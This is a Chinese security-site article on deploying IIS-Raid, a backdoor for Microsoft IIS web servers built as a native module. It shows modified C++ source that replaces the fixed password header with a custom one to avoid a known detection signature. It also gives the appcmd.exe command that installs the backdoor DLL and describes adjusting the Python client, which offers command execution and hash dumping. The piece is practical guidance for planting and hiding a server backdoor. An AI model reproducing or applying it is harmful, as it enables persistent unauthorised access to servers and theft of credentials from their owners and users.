freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

IIS Raid:使用本地模块构建的IIS后门
2020-05-15 10:00:01

0x00 简介

之前刷TW的时候在墙外看到老外分享的这款使用IIS的本地模块构建IIS后门,功能可以自定义命令执行,dumhash等。感觉不错。于是下了下来试了下,测试有一点小瑕疵,随即修改了下,原版项目地址(https://github.com/0x09AL/IIS-Raid)。

0x01 安装和部署

自定义密码字段

在使用之前你得修改默认密码,已放置别人蹭你后门。代码在/module/Functions.h中定义,如下:

// Communication Header for the Response.#define COM_HEADER "X-Chrome-Variations"#define PASS_FILE "C:\\Windows\\Temp\\creds.db"#define PASSWORD "SIMPLEPASS"

SIMPLEPASS 就是自定义的密码值,连接后门的时候在HttpHeader中定义,但是这里原版的定义密码的HTTP头字段始终是一个值(X-Password)。这无疑是一个典型的特征了,所以这里得实现自定义这个字段值,在以上定义代码中添加一个常量COM_PASSWD,如下代码:

// Communication Header for the Response.#define COM_HEADER "X-Chrome-Variations"#define COM_PASSWD "X-CT-BALA"#define PASS_FILE "C:\\Windows\\Temp\\creds.db"#define PASSWORD "SIMPLEPASS"

然后再更改/module/HttpFactory.cpp39行代码替换掉X-Password值为自定义的常量,如下代码:

// Check the header password
    USHORT uPLen = 0;
    LPCSTR lpPassword = pHttpRequest->GetHeader(COM_PASSWD, &uPLen);
    if (lpPassword == NULL) {
        return RQ_NOTIFICATION_CONTINUE;
    }
    else if (strcmp(PASSWORD, lpPassword) != 0) {
        return RQ_NOTIFICATION_CONTINUE;
    }

安装

安装比较简单,可以直接在命令行下使用appcmd.exe命令安装,命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true

安装成功后入下图所示:

0x02 使用

客户端是py写的一个脚本,但貌似编码有点问题,运行时候回报错,需要去掉py脚本里的banner字符串就可以正常了。如果自定义了密码字段名还需要修改下脚本以便支持自定义HTTP头字段。如下图:

添加个--headpass的命令行参数

把自定义的HTT头字段名加入到HttpHeader中

连接成功入后如下图所示:

0x03 参考

原文 https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/

演示 https://youtu.be/jbxEWOXecuU

*本文作者:Ca3tie1,转载请注明来自FreeBuf.COM

# 密码 # 后门 # iis
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者